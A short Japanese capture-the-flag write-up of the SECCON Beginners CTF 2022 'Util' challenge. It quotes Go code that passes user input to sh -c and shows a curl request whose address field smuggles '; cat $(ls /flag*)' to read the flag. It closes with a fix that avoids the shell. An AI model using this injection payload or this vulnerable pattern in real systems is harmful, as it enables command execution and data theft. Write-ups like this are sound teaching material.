[SECCON Beginners CTF 2022] Util

ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?

概要

pingコマンドを他のサーバーに代行させられるやつです。

commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

受け取ったパラメータをそのままシェルに渡しています。

入力されたパラメータに悪意があるかどうか検証する機能はクライアント側に実装されているので、コマンドとかで無理やり送ればなんでも食べてくれます。

盗みたいデータ(flag)はルートディレクトリ直下にflag_(ランダムな文字).txtというファイル名で生成されるみたいです。

RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt

解法

以上を踏まえると、こんな感じのコマンドでフラグをとれることがわかります。

curl 'https://util.quals.beginners.seccon.jp/util/ping' \
  -H 'Content-Type: application/json' \
  --data-raw '{"address":"- ; cat $(ls /flag*) "}' 

ctf4b{al1_0vers_4re_i1l}

対策

バリデーションチェックはクライアント側でやって、形式ミスをアラートで警告までは良かったですが、サニタイズもサーバーサイドでやらないとですね。

特にユーザーから受け取ったデータをパラメータにとってシェルコマンドを実行するシチュエーションの時はちゃんとサニタイズできてるか、インジェクションできないかどうか気をつけます。

exec.Command("ping", "-c", "1", "-W", "1", param.Address).CombinedOutput(

みたいな感じにすればOSコマンドインジェクションはできないと思います。

そもそもgolangのAPIでpingは提供されていそうですが。